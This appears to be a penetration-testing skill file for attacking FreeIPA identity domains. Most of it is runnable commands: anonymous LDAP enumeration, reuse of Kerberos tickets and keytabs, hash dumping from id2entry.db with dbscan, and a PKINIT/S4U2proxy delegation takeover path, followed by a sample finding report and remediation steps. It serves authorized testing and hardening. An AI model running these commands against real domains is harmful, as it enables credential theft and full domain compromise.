| name | pentesting-freeipa |
| description | Enumerating and attacking FreeIPA domains during authorized engagements — anonymous and authenticated LDAP enumeration, Kerberos ticket (CCACHE/keytab) abuse, HBAC and sudo-rule analysis, hash extraction, IPAHound graphing, and PKINIT/S4U2proxy delegation takeover paths. |
| domain | cybersecurity |
| subdomain | linux-hardening |
| tags | ["penetration-testing","linux","freeipa","kerberos","ldap"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Pentesting FreeIPA
When to Use
- During authorized engagements against Unix/Linux environments that use FreeIPA for centralized identity
- When
/etc/krb5.conf, /etc/ipa/default.conf, or /etc/krb5.keytab are present on a compromised host (FreeIPA-joined)
- After capturing a CCACHE ticket from
/tmp, the keyring, or a keytab file
- When you need an AD-BloodHound-style attack graph for a Unix domain
- For HBAC/sudo-rule and role/privilege misconfiguration review
Critical: Techniques Most Often Missed
FreeIPA looks like "just LDAP + Kerberos," so testers under-enumerate. The richest paths are in HBAC rules, delegation attributes, and ticket reuse.
- Anonymous LDAP bind leaks the whole directory. FreeIPA allows anonymous binds by default.
- How to CONFIRM:
ldapsearch -x -h <ipa-server> -b "dc=domain,dc=local" returns users/groups/hosts without credentials.
- CCACHE ticket reuse = passwordless auth. Tickets in
/tmp (mode 600) or the keyring can be exported and reused.
- How to CONFIRM:
KRB5CCNAME=/tmp/krb5cc_1000 klist shows a valid TGT; subsequent ipa user-find succeeds with no password.
- Keytab files yield TGTs without a password.
/etc/krb5.keytab or service keytabs let you kinit -kt.
- How to CONFIRM:
klist -kt /etc/krb5.keytab lists principals; kinit -kt /etc/krb5.keytab host/$(hostname) gets a TGT.
- HBAC CanSSH + CanSUDO to a DC is full domain compromise. A sudo rule with
!authenticate on the IPA server lets you read id2entry.db.
- How to CONFIRM:
ipa sudorule-show <rule> --all shows ipaSudoOpt: !authenticate and a host = the IPA server.
- Delegation attributes expose takeover paths.
ipaAllowedToPerform;write_keys (ForceChangePassword), write_delegation (RBCD), IPAKrbOkToAuthAsDelegate.
- How to CONFIRM: IPAHound surfaces
ReadKerberosKey / ForceChangePassword / AddRBCD edges from these attributes.
root IPA user == AD Domain Admin; IPA server root reads all hashes. dbscan on the server dumps userPassword/ipaNTHash.
- How to CONFIRM: as root on the IPA server,
dbscan over the directory DB returns base64 password hashes.
Workflow
Step 1: Fingerprint the FreeIPA Environment
cat /etc/krb5.conf
cat /etc/ipa/default.conf
ls -l /etc/krb5.keytab
env | grep -i krb5
klist
Step 2: Unauthenticated LDAP Enumeration
ldapsearch -x -h ipa.domain.local -b "dc=domain,dc=local"
ldapsearch -x -h ipa.domain.local -b "cn=users,cn=accounts,dc=domain,dc=local" uid
Step 3: Authenticate, Then Enumerate with ipa / LDAP (GSSAPI)
kinit user@DOMAIN.LOCAL
kinit -kt /etc/krb5.keytab host/$(hostname -f)@DOMAIN.LOCAL
export KRB5CCNAME=/tmp/krb5cc_1000
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain,dc=local"
ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=domain,dc=local"
ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain,dc=local"
ipa user-find ; ipa usergroup-find ; ipa host-find ; ipa hostgroup-find
ipa user-show <user> --all
Step 4: Analyze HBAC, Sudo Rules, Roles & Privileges
ipa hbacrule-find ; ipa hbacrule-show <rule> --all
ldapsearch -Y gssapi -b "cn=hbac,dc=domain,dc=local"
ipa sudorule-find ; ipa sudorule-show <rule> --all
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain,dc=local"
ipa role-find ; ipa privilege-find ; ipa permission-find
Step 5: Harvest & Reuse Kerberos Credentials
klist /tmp/krb5cc_*
export KRB5CCNAME=/tmp/krb5cc_1000 && ipa user-find
./tickey -i
klist -kt /etc/krb5.keytab
kinit -kt /etc/krb5.keytab host/$(hostname -f)@DOMAIN.LOCAL
dbscan -f /var/lib/dirsrv/slapd-*/db/userRoot/id2entry.db
Step 6: Build an Attack Graph (IPAHound) & Find Delegation Paths
IPAHound -k -s dc1.domain.local -a freeipa_apoc.json
IPAHound -s dc1.domain.local -u 'uid=user,cn=users,cn=accounts,dc=domain,dc=local' -p 'Pass!' -a freeipa_apoc.json
Step 7: PKINIT / S4U2proxy Delegation Takeover (owned computer/service)
openssl req -new -newkey rsa:2048 -days 365 -nodes \
-keyout private.key -out cert.csr -subj '/CN=srv.domain.local'
ipa cert-request cert.csr --certificate-out=srv.pem --principal=host/srv.domain.local
kinit -X X509_user_identity=FILE:srv.pem,private.key test/srv.domain.local@DOMAIN.LOCAL
ldapwhoami -H ldap://dc1.domain.local
kvno -U admin -k service.keytab -P ldap/dc1.domain.local@DOMAIN.LOCAL \
test/srv.domain.local@DOMAIN.LOCAL --out-cache ldap_admin.cache
KRB5CCNAME=ldap_admin.cache ldapwhoami -H ldap://dc1.domain.local
Key Concepts
| Concept | Description |
|---|
| FreeIPA | Open-source AD alternative: LDAP directory + MIT Kerberos KDC + Dogtag CA, SSSD-integrated |
| CCACHE | Binary Kerberos credential cache (in /tmp mode 600 or the keyring); reusable via KRB5CCNAME |
| Keytab | File of principals + encrypted keys; yields a TGT with kinit -kt, no password |
| HBAC rule | Host-Based Access Control — defines which users/hosts may reach which services (e.g. sshd) |
| Sudo rule | Centralized sudo policy; ipaSudoOpt=!authenticate enables passwordless escalation |
| ipaNTHash / userPassword | Base64 password material in LDAP; crackable (ipaNTHash easiest, then SSHA512, PBKDF2_SHA256) |
| PKINIT | Certificate-based Kerberos pre-auth; abused by writing a cert into an owned object |
Tools & Systems
| Tool | Purpose |
|---|
| ipa | Native domain enumeration/management CLI (user-find, sudorule-show, etc.) |
| ldapsearch | Anonymous (-x) and authenticated (-Y gssapi) directory enumeration |
| kinit / klist / kvno | Obtain, inspect, and request Kerberos tickets and service tickets |
| Tickey | Extracts Kerberos tickets from the Linux keyring |
| dbscan | Dumps LDAP DB on the IPA server to extract password hashes (requires root there) |
| IPAHound / IPAHound-GUI | BloodHound-style FreeIPA attack-path graphing into Neo4j |
| LinikatzV2 / linikatz | Extract IPA/SSSD credentials and tickets from a compromised host |
Common Scenarios
Scenario 1: Anonymous enumeration to spray list
Anonymous ldapsearch -x dumps all uid values. IPAHound's PasswordAuthAllow=True query trims this to a focused spray list, recovering a low-priv account.
Scenario 2: Keytab reuse for lateral movement
A web app host holds /etc/krb5.keytab. kinit -kt produces a host TGT; combined with a CanSSH HBAC edge, the tester moves to another host without any password.
Scenario 3: Sudo rule with !authenticate on the IPA server
ipa sudorule-show reveals a rule granting a service account !authenticate root on the IPA server. SSHing there and copying id2entry.db exposes every domain hash.
Scenario 4: Service delegation to LDAP admin
An owned computer account owns its service principal. Writing a cert (PKINIT) and abusing an AllowedToDelegate path via S4U2proxy impersonates admin to LDAP, achieving domain compromise.
Output Format
## FreeIPA Compromise Finding
**Vulnerability**: FreeIPA Domain Privilege Escalation
**Severity**: Critical
**Domain**: DOMAIN.LOCAL | IPA Server: dc1.domain.local
### Attack Path
1. Anonymous LDAP bind enumerated all users/hosts/HBAC rules
2. Captured CCACHE /tmp/krb5cc_1000 -> reused (KRB5CCNAME) as user 'svc-web'
3. IPAHound graph: svc-web --CanSSH--> dc1 --CanSUDO(!authenticate)--> root
4. Copied /var/lib/dirsrv/.../id2entry.db; dbscan dumped all ipaNTHash values
### Evidence
$ ipa sudorule-show allow_svc_dc --all
ipaSudoOpt: !authenticate ; host: dc1.domain.local ; runAsUser: root
### Impact
Full domain compromise: all user/service hashes recovered, root on the KDC.
### Recommendation
1. Disable anonymous LDAP binds (nsslapd-allow-anonymous-access: off)
2. Scope HBAC/sudo rules tightly; never use !authenticate on the IPA server
3. Protect keytabs (mode 600, root-only) and purge stale CCACHE files from /tmp
4. Monitor delegation attributes (write_keys, write_delegation) for unexpected grants
5. Enforce strong KDF (PBKDF2_SHA256) and rotate credentials after exposure